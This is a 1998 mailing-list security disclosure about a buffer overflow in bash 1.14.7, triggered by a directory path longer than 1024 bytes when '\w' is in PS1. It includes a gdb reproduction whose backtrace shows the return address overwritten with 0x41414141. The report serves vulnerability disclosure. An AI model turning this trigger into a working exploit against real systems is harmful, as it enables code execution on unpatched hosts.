Date: Fri, 4 Sep 1998 16:09:28 +0000
From: Joao Manuel Carolino <[email protected]>
To: [email protected]Subject: Buffer overflow in bash 1.14.7(1)
If you cd in to a directory which has a path name larger than 1024 bytes
and you have '\w' included in your PS1 environment variable (which makes
the path to the current working directory appear in each command line
prompt), a buffer overflow will occur.
The following was tested on my machine, running Slackware 3.5:
einstein:~# gdb bash
[...]
(gdb) r
Starting program: /bin/bash
bash# PS1='\w '
~ cd /tmp
/tmp mkdir `perl -e 'print "A" x 255'`
/tmp mkdir `perl -e 'print "A" x 255'`/`perl -e 'print "A" x 255'`
/tmp mkdir `perl -e 'print "A" x 255'`/`perl -e 'print "A" x 255'`/`perl
-e 'print "A" x 255'`
/tmp mkdir `perl -e 'print "A" x 255'`/`perl -e 'print "A" x 255'`/`perl
-e 'print "A" x 255'`/`perl -e 'print "A" x 255'`
/tmp mkdir `perl -e 'print "A" x 255'`/`perl -e 'print "A" x 255'`/`perl
-e 'print "A" x 255'`/`perl -e 'print "A" x 255'`/`perl -e 'print "A" x
255'`
/tmp cd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/
(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x804ed72 in sigprocmask ()
(gdb) backtrace
#0 0x804ed72 in sigprocmask ()
#1 0xe9 in ?? ()
#2 0x41414141 in ?? ()
Cannot access memory at address 0x41414141.
Regards,
Joao
